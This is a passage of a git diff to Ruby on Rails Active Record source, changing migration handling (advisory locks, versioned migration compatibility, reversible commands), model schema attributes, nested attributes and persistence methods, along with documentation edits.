new.migrate direction end - # Disable DDL transactions for this migration. + # Disable the transaction wrapping this migration. + # You can still create your own transactions even after calling #disable_ddl_transaction! + # + # For more details read the {"Transactional Migrations" section above}[rdoc-ref:Migration]. def disable_ddl_transaction! @disable_ddl_transaction = true end @@ -451,7 +633,7 @@ module ActiveRecord # and create the table 'apples' on the way up, and the reverse # on the way down. # - # class FixTLMigration < ActiveRecord::Migration + # class FixTLMigration < ActiveRecord::Migration[5.0] # def change # revert do # create_table(:horses) do |t| @@ -468,9 +650,9 @@ module ActiveRecord # Or equivalently, if +TenderloveMigration+ is defined as in the # documentation for Migration: # - # require_relative '2012121212_tenderlove_migration' + # require_relative '20121212123456_tenderlove_migration' # - # class FixupTLMigration < ActiveRecord::Migration + # class FixupTLMigration < ActiveRecord::Migration[5.0] # def change # revert TenderloveMigration # @@ -484,13 +666,13 @@ module ActiveRecord def revert(*migration_classes) run(*migration_classes.reverse, revert: true) unless migration_classes.empty? if block_given? - if @connection.respond_to? :revert - @connection.revert { yield } + if connection.respond_to? :revert + connection.revert { yield } else - recorder = CommandRecorder.new(@connection) + recorder = CommandRecorder.new(connection) @connection = recorder suppress_messages do - @connection.revert { yield } + connection.revert { yield } end @connection = recorder.delegate recorder.commands.each do |cmd, args, block| @@ -501,7 +683,7 @@ module ActiveRecord end def reverting? - @connection.respond_to?(:reverting) && @connection.reverting + connection.respond_to?(:reverting) && connection.reverting end class ReversibleBlockHelper < Struct.new(:reverting) # :nodoc: @@ -523,7 +705,7 @@ module ActiveRecord # when the three columns 'first_name', 'last_name' and 'full_name' exist, # even when migrating down: # - # class SplitNameMigration < ActiveRecord::Migration + # class SplitNameMigration < ActiveRecord::Migration[5.0] # def change # add_column :users, :first_name, :string # add_column :users, :last_name, :string @@ -558,7 +740,7 @@ module ActiveRecord revert { run(*migration_classes, direction: dir, revert: true) } else migration_classes.each do |migration_class| - migration_class.new.exec_migration(@connection, dir) + migration_class.new.exec_migration(connection, dir) end end end @@ -650,10 +832,11 @@ module ActiveRecord arg_list = arguments.map(&:inspect) * ', ' say_with_time "#{method}(#{arg_list})" do - unless @connection.respond_to? :revert + unless connection.respond_to? :revert unless arguments.empty? || [:execute, :enable_extension, :disable_extension].include?(method) arguments[0] = proper_table_name(arguments.first, table_name_options) - if [:rename_table, :add_foreign_key].include?(method) + if [:rename_table, :add_foreign_key].include?(method) || + (method == :remove_foreign_key && !arguments.second.is_a?(Hash)) arguments[1] = proper_table_name(arguments.second, table_name_options) end end @@ -728,7 +911,9 @@ module ActiveRecord end end - def table_name_options(config = ActiveRecord::Base) + # Builds a hash for use in ActiveRecord::Migration#proper_table_name using + # the Active Record object's table_name prefix and suffix + def table_name_options(config = ActiveRecord::Base) #:nodoc: { table_name_prefix: config.table_name_prefix, table_name_suffix: config.table_name_suffix @@ -820,7 +1005,7 @@ module ActiveRecord new(:up, migrations, target_version).migrate end - def down(migrations_paths, target_version = nil, &block) + def down(migrations_paths, target_version = nil) migrations = migrations(migrations_paths) migrations.select! { |m| yield m } if block_given? @@ -840,10 +1025,12 @@ module ActiveRecord end def get_all_versions(connection = Base.connection) - if connection.table_exists?(schema_migrations_table_name) - SchemaMigration.all.map { |x| x.version.to_i }.sort - else - [] + ActiveSupport::Deprecation.silence do + if connection.table_exists?(schema_migrations_table_name) + SchemaMigration.all.map { |x| x.version.to_i }.sort + else + [] + end end end @@ -859,22 +1046,22 @@ module ActiveRecord migrations(migrations_paths).any? end - def last_version - last_migration.version - end - def last_migration #:nodoc: migrations(migrations_paths).last || NullMigration.new end def migrations_paths @migrations_paths ||= ['db/migrate'] - # just to not break things if someone uses: migration_path = some_string + # just to not break things if someone uses: migrations_path = some_string Array(@migrations_paths) end - def migrations_path - migrations_paths.first + def match_to_migration_filename?(filename) # :nodoc: + File.basename(filename) =~ Migration::MigrationFilenameRegexp + end + + def parse_migration_filename(filename) # :nodoc: + File.basename(filename).scan(Migration::MigrationFilenameRegexp).first end def migrations(paths) @@ -883,8 +1070,7 @@ module ActiveRecord files = Dir[*paths.map { |p| "#{p}/**/[0-9]*_*.rb" }] migrations = files.map do |file| - version, name, scope = file.scan(/([0-9]+)_([_a-z0-9]*)\.?([_a-z0-9]*)?\.rb\z/).first - + version, name, scope = parse_migration_filename(file) raise IllegalMigrationNameError.new(file) unless version version = version.to_i name = name.camelize @@ -920,6 +1106,7 @@ module ActiveRecord validate(@migrations) Base.connection.initialize_schema_migrations_table + Base.connection.initialize_internal_metadata_table end def current_version @@ -932,32 +1119,18 @@ module ActiveRecord alias :current :current_migration def run - migration = migrations.detect { |m| m.version == @target_version } - raise UnknownMigrationVersionError.new(@target_version) if migration.nil? - unless (up? && migrated.include?(migration.version.to_i)) || (down? && !migrated.include?(migration.version.to_i)) - begin - execute_migration_in_transaction(migration, @direction) - rescue => e - canceled_msg = use_transaction?(migration) ? ", this migration was canceled" : "" - raise StandardError, "An error has occurred#{canceled_msg}:\n\n#{e}", e.backtrace - end + if use_advisory_lock? + with_advisory_lock { run_without_lock } + else + run_without_lock end end def migrate - if !target && @target_version && @target_version > 0 - raise UnknownMigrationVersionError.new(@target_version) - end - - runnable.each do |migration| - Base.logger.info "Migrating to #{migration.name} (#{migration.version})" if Base.logger - - begin - execute_migration_in_transaction(migration, @direction) - rescue => e - canceled_msg = use_transaction?(migration) ? "this and " : "" - raise StandardError, "An error has occurred, #{canceled_msg}all later migrations canceled:\n\n#{e}", e.backtrace - end + if use_advisory_lock? + with_advisory_lock { migrate_without_lock } + else + migrate_without_lock end end @@ -982,19 +1155,67 @@ module ActiveRecord end def migrated - @migrated_versions ||= Set.new(self.class.get_all_versions) + @migrated_versions || load_migrated + end + + def load_migrated + @migrated_versions = Set.new(self.class.get_all_versions) end private + + # Used for running a specific migration. + def run_without_lock + migration = migrations.detect { |m| m.version == @target_version } + raise UnknownMigrationVersionError.new(@target_version) if migration.nil? + execute_migration_in_transaction(migration, @direction) + + record_environment + end + + # Used for running multiple migrations up to or down to a certain value. + def migrate_without_lock + if invalid_target? + raise UnknownMigrationVersionError.new(@target_version) + end + + runnable.each do |migration| + execute_migration_in_transaction(migration, @direction) + end + + record_environment + end + + # Stores the current environment in the database. + def record_environment + return if down? + ActiveRecord::InternalMetadata[:environment] = ActiveRecord::Migrator.current_environment + end + def ran?(migration) migrated.include?(migration.version.to_i) end + # Return true if a valid version is not provided. + def invalid_target? + !target && @target_version && @target_version > 0 + end + def execute_migration_in_transaction(migration, direction) + return if down? && !migrated.include?(migration.version.to_i) + return if up? && migrated.include?(migration.version.to_i) + + Base.logger.info "Migrating to #{migration.name} (#{migration.version})" if Base.logger + ddl_transaction(migration) do migration.migrate(direction) record_version_state_after_migrating(migration.version) end + rescue => e + msg = "An error has occurred, " + msg << "this and " if use_transaction?(migration) + msg << "all later migrations canceled:\n\n#{e}" + raise StandardError, msg, e.backtrace end def target @@ -1023,10 +1244,27 @@ module ActiveRecord ActiveRecord::SchemaMigration.where(:version => version.to_s).delete_all else migrated << version - ActiveRecord::SchemaMigration.create!(:version => version.to_s) + ActiveRecord::SchemaMigration.create!(version: version.to_s) end end + def self.last_stored_environment + return nil if current_version == 0 + raise NoEnvironmentInSchemaError unless ActiveRecord::InternalMetadata.table_exists? + + environment = ActiveRecord::InternalMetadata[:environment] + raise NoEnvironmentInSchemaError unless environment + environment + end + + def self.current_environment + ActiveRecord::ConnectionHandling::DEFAULT_ENV.call + end + + def self.protected_environment? + ActiveRecord::Base.protected_environments.include?(last_stored_environment) if last_stored_environment + end + def up? @direction == :up end @@ -1047,5 +1285,25 @@ module ActiveRecord def use_transaction?(migration) !migration.disable_ddl_transaction && Base.connection.supports_ddl_transactions? end + + def use_advisory_lock? + Base.connection.supports_advisory_locks? + end + + def with_advisory_lock + lock_id = generate_migrator_advisory_lock_id + got_lock = Base.connection.get_advisory_lock(lock_id) + raise ConcurrentMigrationError unless got_lock + load_migrated # reload schema_migrations to be sure it wasn't changed by another process before we got the lock + yield + ensure + Base.connection.release_advisory_lock(lock_id) if got_lock + end + + MIGRATOR_SALT = 2053462845 + def generate_migrator_advisory_lock_id + db_name_hash = Zlib.crc32(Base.connection.current_database) + MIGRATOR_SALT * db_name_hash + end end end diff --git a/activerecord/lib/active_record/migration/command_recorder.rb b/activerecord/lib/active_record/migration/command_recorder.rb index 36256415df..0fa665c7e0 100644 --- a/activerecord/lib/active_record/migration/command_recorder.rb +++ b/activerecord/lib/active_record/migration/command_recorder.rb @@ -5,15 +5,36 @@ module ActiveRecord # knows how to invert the following commands: # # * add_column + # * add_foreign_key # * add_index + # * add_reference # * add_timestamps - # * create_table + # * change_column + # * change_column_default (must supply a :from and :to option) + # * change_column_null # * create_join_table + # * create_table + # * disable_extension + # * drop_join_table + # * drop_table (must supply a block) + # * enable_extension + # * remove_column (must supply a type) + # * remove_columns (must specify at least one column name or more) + # * remove_foreign_key (must supply a second table) + # * remove_index + # * remove_reference # * remove_timestamps # * rename_column # * rename_index # * rename_table class CommandRecorder + ReversibleAndIrreversibleMethods = [:create_table, :create_join_table, :rename_table, :add_column, :remove_column, + :rename_index, :rename_column, :add_index, :remove_index, :add_timestamps, :remove_timestamps, + :change_column_default, :add_reference, :remove_reference, :transaction, + :drop_join_table, :drop_table, :execute_block, :enable_extension, :disable_extension, + :change_column, :execute, :remove_columns, :change_column_null, + :add_foreign_key, :remove_foreign_key + ] include JoinTable attr_accessor :commands, :delegate, :reverting @@ -41,7 +62,7 @@ module ActiveRecord @reverting = !@reverting end - # record +command+. +command+ should be a method name and arguments. + # Record +command+. +command+ should be a method name and arguments. # For example: # # recorder.record(:method_name, [:arg1, :arg2]) @@ -62,7 +83,12 @@ module ActiveRecord # invert the +command+. def inverse_of(command, args, &block) method = :"invert_#{command}" - raise IrreversibleMigration unless respond_to?(method, true) + raise IrreversibleMigration, <<-MSG.strip_heredoc unless respond_to?(method, true) + This migration uses #{command}, which is not automatically reversible. + To make the migration reversible you can either: + 1. Define #up and #down methods in place of the #change method. + 2. Use the #reversible method to define reversible behavior. + MSG send(method, args, &block) end @@ -70,14 +96,7 @@ module ActiveRecord super || delegate.respond_to?(*args) end - [:create_table, :create_join_table, :rename_table, :add_column, :remove_column, - :rename_index, :rename_column, :add_index, :remove_index, :add_timestamps, :remove_timestamps, - :change_column_default, :add_reference, :remove_reference, :transaction, - :drop_join_table, :drop_table, :execute_block, :enable_extension, - :change_column, :execute, :remove_columns, :change_column_null, - :add_foreign_key, :remove_foreign_key - # irreversible methods need to be here too - ].each do |method| + ReversibleAndIrreversibleMethods.each do |method| class_eval <<-EOV, __FILE__, __LINE__ + 1 def #{method}(*args, &block) # def create_table(*args, &block) record(:"#{method}", args, &block) # record(:create_table, args, &block) @@ -151,19 +170,31 @@ module ActiveRecord end def invert_remove_index(args) - table, options = *args - - unless options && options.is_a?(Hash) && options[:column] - raise ActiveRecord::IrreversibleMigration, "remove_index is only reversible if given a :column option." + table, options_or_column = *args + if (options = options_or_column).is_a?(Hash) + unless options[:column] + raise ActiveRecord::IrreversibleMigration, "remove_index is only reversible if given a :column option." + end + options = options.dup + [:add_index, [table, options.delete(:column), options]] + elsif (column = options_or_column).present? + [:add_index, [table, column]] end - - options = options.dup - [:add_index, [table, options.delete(:column), options]] end alias :invert_add_belongs_to :invert_add_reference alias :invert_remove_belongs_to :invert_remove_reference + def invert_change_column_default(args) + table, column, options = *args + + unless options && options.is_a?(Hash) && options.has_key?(:from) && options.has_key?(:to) + raise ActiveRecord::IrreversibleMigration, "change_column_default is only reversible if given a :from and :to option." + end + + [:change_column_default, [table, column, from: options[:to], to: options[:from]]] + end + def invert_change_column_null(args) args[2] = !args[2] [:change_column_null, args] @@ -184,6 +215,16 @@ module ActiveRecord [:remove_foreign_key, [from_table, options]] end + def invert_remove_foreign_key(args) + from_table, to_table, remove_options = args + raise ActiveRecord::IrreversibleMigration, "remove_foreign_key is only reversible if given a second table" if to_table.nil? || to_table.is_a?(Hash) + + reversed_args = [from_table, to_table] + reversed_args << remove_options if remove_options + + [:add_foreign_key, reversed_args] + end + # Forwards any missing method call to the \target. def method_missing(method, *args, &block) if @delegate.respond_to?(method) diff --git a/activerecord/lib/active_record/migration/compatibility.rb b/activerecord/lib/active_record/migration/compatibility.rb new file mode 100644 index 0000000000..74833f938f --- /dev/null +++ b/activerecord/lib/active_record/migration/compatibility.rb @@ -0,0 +1,129 @@ +module ActiveRecord + class Migration + module Compatibility # :nodoc: all + def self.find(version) + version = version.to_s + name = "V#{version.tr('.', '_')}" + unless const_defined?(name) + versions = constants.grep(/\AV[0-9_]+\z/).map { |s| s.to_s.delete('V').tr('_', '.').inspect } + raise ArgumentError, "Unknown migration version #{version.inspect}; expected one of #{versions.sort.join(', ')}" + end + const_get(name) + end + + V5_1 = Current + + module FourTwoShared + module TableDefinition + def references(*, **options) + options[:index] ||= false + super + end + alias :belongs_to :references + + def timestamps(*, **options) + options[:null] = true if options[:null].nil? + super + end + end + + def create_table(table_name, options = {}) + if block_given? + super(table_name, options) do |t| + class << t + prepend TableDefinition + end + yield t + end + else + super + end + end + + def change_table(table_name, options = {}) + if block_given? + super(table_name, options) do |t| + class << t + prepend TableDefinition + end + yield t + end + else + super + end + end + + def add_reference(*, **options) + options[:index] ||= false + super + end + alias :add_belongs_to :add_reference + + def add_timestamps(*, **options) + options[:null] = true if options[:null].nil? + super + end + + def index_exists?(table_name, column_name, options = {}) + column_names = Array(column_name).map(&:to_s) + options[:name] = + if options[:name].present? + options[:name].to_s + else + index_name(table_name, column: column_names) + end + super + end + + def remove_index(table_name, options = {}) + options = { column: options } unless options.is_a?(Hash) + options[:name] = index_name_for_remove(table_name, options) + super(table_name, options) + end + + private + + def index_name_for_remove(table_name, options = {}) + index_name = index_name(table_name, options) + + unless index_name_exists?(table_name, index_name, true) + if options.is_a?(Hash) && options.has_key?(:name) + options_without_column = options.dup + options_without_column.delete :column + index_name_without_column = index_name(table_name, options_without_column) + + return index_name_without_column if index_name_exists?(table_name, index_name_without_column, false) + end + + raise ArgumentError, "Index name '#{index_name}' on table '#{table_name}' does not exist" + end + + index_name + end + end + + class V5_0 < V5_1 + end + + class V4_2 < V5_0 + # 4.2 is defined as a module because it needs to be shared with + # Legacy. When the time comes, V5_0 should be defined straight + # in its class. + include FourTwoShared + end + + module Legacy + include FourTwoShared + + def migrate(*) + ActiveSupport::Deprecation.warn \ + "Directly inheriting from ActiveRecord::Migration is deprecated. " \ + "Please specify the Rails release the migration was written for:\n" \ + "\n" \ + " class #{self.class.name} < ActiveRecord::Migration[4.2]" + super + end + end + end + end +end diff --git a/activerecord/lib/active_record/model_schema.rb b/activerecord/lib/active_record/model_schema.rb index 75adcccce6..f691a8319d 100644 --- a/activerecord/lib/active_record/model_schema.rb +++ b/activerecord/lib/active_record/model_schema.rb @@ -44,12 +44,32 @@ module ActiveRecord ## # :singleton-method: + # Accessor for the name of the internal metadata table. By default, the value is "ar_internal_metadata" + class_attribute :internal_metadata_table_name, instance_accessor: false + self.internal_metadata_table_name = "ar_internal_metadata" + + ## + # :singleton-method: + # Accessor for an array of names of environments where destructive actions should be prohibited. By default, + # the value is ["production"] + class_attribute :protected_environments, instance_accessor: false + self.protected_environments = ["production"] + + ## + # :singleton-method: # Indicates whether table names should be the pluralized versions of the corresponding class names. # If true, the default table name for a Product class will be +products+. If false, it would just be +product+. # See table_name for the full rules on table/class naming. This is true, by default. class_attribute :pluralize_table_names, instance_writer: false self.pluralize_table_names = true + ## + # :singleton-method: + # Accessor for the list of columns names the model should ignore. Ignored columns won't have attribute + # accessors defined, and won't be referenced in SQL queries. + class_attribute :ignored_columns, instance_accessor: false + self.ignored_columns = [].freeze + self.inheritance_column = 'type' delegate :type_for_attribute, to: :class @@ -211,9 +231,21 @@ module ActiveRecord @explicit_sequence_name = true end + # Determines if the primary key values should be selected from their + # corresponding sequence before the insert statement. + def prefetch_primary_key? + connection.prefetch_primary_key?(table_name) + end + + # Returns the next value that will be used as the primary key on + # an insert statement. + def next_sequence_value + connection.next_sequence_value(sequence_name) + end + # Indicates whether the table associated with this class exists def table_exists? - connection.schema_cache.table_exists?(table_name) + connection.schema_cache.data_source_exists?(table_name) end def attributes_builder # :nodoc: @@ -235,12 +267,23 @@ module ActiveRecord @attribute_types ||= Hash.new(Type::Value.new) end - def type_for_attribute(attr_name) # :nodoc: + # Returns the type of the attribute with the given name, after applying + # all modifiers. This method is the only valid source of information for + # anything related to the types of a model's attributes. This method will + # access the database and load the model's schema if it is required. + # + # The return value of this method will implement the interface described + # by ActiveModel::Type::Value (though the object itself may not subclass + # it). + # + # +attr_name+ The name of the attribute to retrieve the type for. Must be + # a string + def type_for_attribute(attr_name) attribute_types[attr_name] end # Returns a hash where the keys are column names and the values are - # default values when instantiating the AR object for this table. + # default values when instantiating the Active Record object for this table. def column_defaults load_schema _default_attributes.to_hash @@ -268,7 +311,7 @@ module ActiveRecord # when just after creating a table you want to populate it with some default # values, eg: # - # class CreateJobLevels < ActiveRecord::Migration + # class CreateJobLevels < ActiveRecord::Migration[5.0] # def up # create_table :job_levels do |t| # t.integer :id @@ -290,7 +333,7 @@ module ActiveRecord def reset_column_information connection.clear_cache! undefine_attribute_methods - connection.schema_cache.clear_table_cache!(table_name) + connection.schema_cache.clear_data_source_cache!(table_name) reload_schema_from_cache end @@ -308,8 +351,9 @@ module ActiveRecord end def load_schema! - @columns_hash = connection.schema_cache.columns_hash(table_name) + @columns_hash = connection.schema_cache.columns_hash(table_name).except(*ignored_columns) @columns_hash.each do |name, column| + warn_if_deprecated_type(column) define_attribute( name, connection.lookup_cast_type_from_column(column), @@ -328,13 +372,12 @@ module ActiveRecord @default_attributes = nil @inheritance_column = nil unless defined?(@explicit_inheritance_column) && @explicit_inheritance_column @attributes_builder = nil - @column_names = nil - @attribute_types = nil @columns = nil @columns_hash = nil - @content_columns = nil - @default_attributes = nil @attribute_names = nil + direct_descendants.each do |descendant| + descendant.send(:reload_schema_from_cache) + end end # Guesses the table name, but does not decorate it with prefix and suffix information. @@ -360,6 +403,28 @@ module ActiveRecord base.table_name end end + + def warn_if_deprecated_type(column) + return if attributes_to_define_after_schema_loads.key?(column.name) + if column.respond_to?(:oid) && column.sql_type.start_with?("point") + if column.array? + array_arguments = ", array: true" + else + array_arguments = "" + end + ActiveSupport::Deprecation.warn(<<-WARNING.strip_heredoc) + The behavior of the `:point` type will be changing in Rails 5.1 to + return a `Point` object, rather than an `Array`. If you'd like to + keep the old behavior, you can add this line to #{self.name}: + + attribute :#{column.name}, :legacy_point#{array_arguments} + + If you'd like the new behavior today, you can add this line: + + attribute :#{column.name}, :point#{array_arguments} + WARNING + end + end end end end diff --git a/activerecord/lib/active_record/nested_attributes.rb b/activerecord/lib/active_record/nested_attributes.rb index 084ef397a8..fe68869143 100644 --- a/activerecord/lib/active_record/nested_attributes.rb +++ b/activerecord/lib/active_record/nested_attributes.rb @@ -147,8 +147,8 @@ module ActiveRecord # has_many :posts # accepts_nested_attributes_for :posts, reject_if: :reject_posts # - # def reject_posts(attributed) - # attributed['title'].blank? + # def reject_posts(attributes) + # attributes['title'].blank? # end # end # @@ -166,6 +166,11 @@ module ActiveRecord # member.posts.first.title # => '[UPDATED] An, as of yet, undisclosed awesome Ruby documentation browser!' # member.posts.second.title # => '[UPDATED] other post' # + # However, the above applies if the parent model is being updated as well. + # For example, If you wanted to create a +member+ named _joe_ and wanted to + # update the +posts+ at the same time, that would give an + # ActiveRecord::RecordNotFound error. + # # By default the associated records are protected from being destroyed. If # you want to destroy any of the associated records through the attributes # hash, you have to enable it first using the <tt>:allow_destroy</tt> @@ -190,25 +195,33 @@ module ActiveRecord # Nested attributes for an associated collection can also be passed in # the form of a hash of hashes instead of an array of hashes: # - # Member.create(name: 'joe', - # posts_attributes: { first: { title: 'Foo' }, - # second: { title: 'Bar' } }) + # Member.create( + # name: 'joe', + # posts_attributes: { + # first: { title: 'Foo' }, + # second: { title: 'Bar' } + # } + # ) # # has the same effect as # - # Member.create(name: 'joe', - # posts_attributes: [ { title: 'Foo' }, - # { title: 'Bar' } ]) + # Member.create( + # name: 'joe', + # posts_attributes: [ + # { title: 'Foo' }, + # { title: 'Bar' } + # ] + # ) # # The keys of the hash which is the value for +:posts_attributes+ are # ignored in this case. - # However, it is not allowed to use +'id'+ or +:id+ for one of + # However, it is not allowed to use <tt>'id'</tt> or <tt>:id</tt> for one of # such keys, otherwise the hash will be wrapped in an array and # interpreted as an attribute hash for a single post. # # Passing attributes for an associated collection in the form of a hash # of hashes can be used with hashes generated from HTTP/HTML parameters, - # where there maybe no natural way to submit an array of hashes. + # where there may be no natural way to submit an array of hashes. # # === Saving # @@ -381,6 +394,9 @@ module ActiveRecord # then the existing record will be marked for destruction. def assign_nested_attributes_for_one_to_one_association(association_name, attributes) options = self.nested_attributes_options[association_name] + if attributes.respond_to?(:permitted?) + attributes = attributes.to_h + end attributes = attributes.with_indifferent_access existing_record = send(association_name) @@ -437,6 +453,9 @@ module ActiveRecord # ]) def assign_nested_attributes_for_collection_association(association_name, attributes_collection) options = self.nested_attributes_options[association_name] + if attributes_collection.respond_to?(:permitted?) + attributes_collection = attributes_collection.to_h + end unless attributes_collection.is_a?(Hash) || attributes_collection.is_a?(Array) raise ArgumentError, "Hash or Array expected, got #{attributes_collection.class.name} (#{attributes_collection.inspect})" @@ -463,6 +482,9 @@ module ActiveRecord end attributes_collection.each do |attributes| + if attributes.respond_to?(:permitted?) + attributes = attributes.to_h + end attributes = attributes.with_indifferent_access if attributes['id'].blank? @@ -528,7 +550,7 @@ module ActiveRecord # has_destroy_flag? or if a <tt>:reject_if</tt> proc exists for this # association and evaluates to +true+. def reject_new_record?(association_name, attributes) - has_destroy_flag?(attributes) || call_reject_if(association_name, attributes) + will_be_destroyed?(association_name, attributes) || call_reject_if(association_name, attributes) end # Determines if a record with the particular +attributes+ should be @@ -537,7 +559,8 @@ module ActiveRecord # # Returns false if there is a +destroy_flag+ on the attributes. def call_reject_if(association_name, attributes) - return false if has_destroy_flag?(attributes) + return false if will_be_destroyed?(association_name, attributes) + case callback = self.nested_attributes_options[association_name][:reject_if] when Symbol method(callback).arity == 0 ? send(callback) : send(callback, attributes) @@ -546,8 +569,19 @@ module ActiveRecord end end + # Only take into account the destroy flag if <tt>:allow_destroy</tt> is true + def will_be_destroyed?(association_name, attributes) + allow_destroy?(association_name) && has_destroy_flag?(attributes) + end + + def allow_destroy?(association_name) + self.nested_attributes_options[association_name][:allow_destroy] + end + def raise_nested_attributes_record_not_found!(association_name, record_id) - raise RecordNotFound, "Couldn't find #{self.class._reflect_on_association(association_name).klass.name} with ID=#{record_id} for #{self.class.name} with ID=#{id}" + model = self.class._reflect_on_association(association_name).klass.name + raise RecordNotFound.new("Couldn't find #{model} with ID=#{record_id} for #{self.class.name} with ID=#{id}", + model, 'id', record_id) end end end diff --git a/activerecord/lib/active_record/null_relation.rb b/activerecord/lib/active_record/null_relation.rb index 74894d0c37..1ab4e0404f 100644 --- a/activerecord/lib/active_record/null_relation.rb +++ b/activerecord/lib/active_record/null_relation.rb @@ -1,9 +1,7 @@ -# -*- coding: utf-8 -*- - module ActiveRecord module NullRelation # :nodoc: def exec_queries - @records = [] + @records = [].freeze end def pluck(*column_names) diff --git a/activerecord/lib/active_record/persistence.rb b/activerecord/lib/active_record/persistence.rb index a6176dffdb..afed5e5e85 100644 --- a/activerecord/lib/active_record/persistence.rb +++ b/activerecord/lib/active_record/persistence.rb @@ -1,5 +1,5 @@ module ActiveRecord - # = Active Record Persistence + # = Active Record \Persistence module Persistence extend ActiveSupport::Concern @@ -61,7 +61,7 @@ module ActiveRecord # +instantiate+ instead of +new+, finder methods ensure they get new # instances of the appropriate class for each record. # - # See +ActiveRecord::Inheritance#discriminate_class_for_record+ to see + # See <tt>ActiveRecord::Inheritance#discriminate_class_for_record</tt> to see # how this "single-table" inheritance mapping is implemented. def instantiate(attributes, column_types = {}) klass = discriminate_class_for_record(attributes) @@ -102,11 +102,11 @@ module ActiveRecord # Saves the model. # - # If the model is new a record gets created in the database, otherwise + # If the model is new, a record gets created in the database, otherwise # the existing record gets updated. # - # By default, save always run validations. If any of them fail the action - # is cancelled and +save+ returns +false+. However, if you supply + # By default, save always runs validations. If any of them fail the action + # is cancelled and #save returns +false+, and the record won't be saved. However, if you supply # validate: false, validations are bypassed altogether. See # ActiveRecord::Validations for more information. # @@ -132,9 +132,10 @@ module ActiveRecord # If the model is new, a record gets created in the database, otherwise # the existing record gets updated. # - # With <tt>save!</tt> validations always run. If any of them fail - # ActiveRecord::RecordInvalid gets raised. See ActiveRecord::Validations - # for more information. + # By default, #save! always runs validations. If any of them fail + # ActiveRecord::RecordInvalid gets raised, and the record won't be saved. However, if you supply + # validate: false, validations are bypassed altogether. See + # ActiveRecord::Validations for more information. # # By default, #save! also sets the +updated_at+/+updated_on+ attributes to # the current time. However, if you supply <tt>touch: false</tt>, these @@ -148,7 +149,7 @@ module ActiveRecord # Attributes marked as readonly are silently ignored if the record is # being updated. def save!(*args) - create_or_update(*args) || raise(RecordNotSaved.new(nil, self)) + create_or_update(*args) || raise(RecordNotSaved.new("Failed to save the record", self)) end # Deletes the record in the database and freezes this instance to @@ -158,7 +159,7 @@ module ActiveRecord # The row is simply removed with an SQL +DELETE+ statement on the # record's primary key, and no callbacks are executed. # - # Note that this will also delete records marked as <tt>readonly?</tt>. + # Note that this will also delete records marked as {#readonly?}[rdoc-ref:Core#readonly?]. # # To enforce the object's +before_destroy+ and +after_destroy+ # callbacks or any <tt>:dependent</tt> association @@ -193,7 +194,7 @@ module ActiveRecord # and #destroy! raises ActiveRecord::RecordNotDestroyed. # See ActiveRecord::Callbacks for further details. def destroy! - destroy || raise(ActiveRecord::RecordNotDestroyed, self) + destroy || _raise_record_not_destroyed end # Returns an instance of the specified +klass+ with the attributes of the @@ -205,19 +206,21 @@ module ActiveRecord # instance using the companies/company partial instead of clients/client. # # Note: The new instance will share a link to the same attributes as the original class. - # So any change to the attributes in either instance will affect the other. + # Therefore the sti column value will still be the same. + # Any change to the attributes on either instance will affect both instances. + # If you want to change the sti column as well, use #becomes! instead. def becomes(klass) became = klass.new became.instance_variable_set("@attributes", @attributes) - changed_attributes = @changed_attributes if defined?(@changed_attributes) - became.instance_variable_set("@changed_attributes", changed_attributes || {}) + became.instance_variable_set("@mutation_tracker", @mutation_tracker) if defined?(@mutation_tracker) + became.instance_variable_set("@changed_attributes", attributes_changed_by_setter) became.instance_variable_set("@new_record", new_record?) became.instance_variable_set("@destroyed", destroyed?) - became.instance_variable_set("@errors", errors) + became.errors.copy!(errors) became end - # Wrapper around +becomes+ that also changes the instance's sti column value. + # Wrapper around #becomes that also changes the instance's sti column value. # This is especially useful if you want to persist the changed class in your # database. # @@ -237,14 +240,14 @@ module ActiveRecord # This is especially useful for boolean flags on existing records. Also note that # # * Validation is skipped. - # * Callbacks are invoked. + # * \Callbacks are invoked. # * updated_at/updated_on column is updated if that column is available. # * Updates all the attributes that are dirty in this object. # - # This method raises an +ActiveRecord::ActiveRecordError+ if the + # This method raises an ActiveRecord::ActiveRecordError if the # attribute is marked as readonly. # - # See also +update_column+. + # Also see #update_column. def update_attribute(name, value) name = name.to_s verify_readonly_attribute(name) @@ -266,8 +269,8 @@ module ActiveRecord alias update_attributes update - # Updates its receiver just like +update+ but calls <tt>save!</tt> instead - # of +save+, so an exception is raised if the record is invalid. + # Updates its receiver just like #update but calls #save! instead + # of +save+, so an exception is raised if the record is invalid and saving will fail. def update!(attributes) # The following transaction covers any possible database side-effects of the # attributes assignment. For example, setting the IDs of a child collection. @@ -293,11 +296,12 @@ module ActiveRecord # the database, but take into account that in consequence the regular update # procedures are totally bypassed. In particular: # - # * Validations are skipped. - # * Callbacks are skipped. + # * \Validations are skipped. + # * \Callbacks are skipped. # * +updated_at+/+updated_on+ are not updated. + # * However, attributes are serialized with the same rules as ActiveRecord::Relation#update_all # - # This method raises an +ActiveRecord::ActiveRecordError+ when called on new + # This method raises an ActiveRecord::ActiveRecordError when called on new # objects, or when at least one of the attributes is marked as readonly. def update_columns(attributes) raise ActiveRecordError, "cannot update a new record" if new_record? @@ -325,42 +329,52 @@ module ActiveRecord self end - # Wrapper around +increment+ that saves the record. This method differs from + # Wrapper around #increment that saves the record. This method differs from # its non-bang version in that it passes through the attribute setter. # Saving is not subjected to validation checks. Returns +true+ if the # record could be saved. def increment!(attribute, by = 1) - increment(attribute, by).update_attribute(attribute, self[attribute]) + increment(attribute, by) + change = public_send(attribute) - (attribute_was(attribute.to_s) || 0) + self.class.update_counters(id, attribute => change) + clear_attribute_change(attribute) # eww + self end # Initializes +attribute+ to zero if +nil+ and subtracts the value passed as +by+ (default is 1). # The decrement is performed directly on the underlying attribute, no setter is invoked. # Only makes sense for number-based attributes. Returns +self+. def decrement(attribute, by = 1) - self[attribute] ||= 0 - self[attribute] -= by - self + increment(attribute, -by) end - # Wrapper around +decrement+ that saves the record. This method differs from - # its non-bang version in that it passes through the attribute setter. + # Wrapper around #decrement that saves the record. This method differs from + # its non-bang version in the sense that it passes through the attribute setter. # Saving is not subjected to validation checks. Returns +true+ if the # record could be saved. def decrement!(attribute, by = 1) - decrement(attribute, by).update_attribute(attribute, self[attribute]) + increment!(attribute, -by) end # Assigns to +attribute+ the boolean opposite of <tt>attribute?</tt>. So # if the predicate returns +true+ the attribute will become +false+. This # method toggles directly the underlying value without calling any setter. # Returns +self+. + # + # Example: + # + # user = User.first + # user.banned? # => false + # user.toggle(:banned) + # user.banned? # => true + # def toggle(attribute) self[attribute] = !public_send("#{attribute}?") self end - # Wrapper around +toggle+ that saves the record. This method differs from - # its non-bang version in that it passes through the attribute setter. + # Wrapper around #toggle that saves the record. This method differs from + # 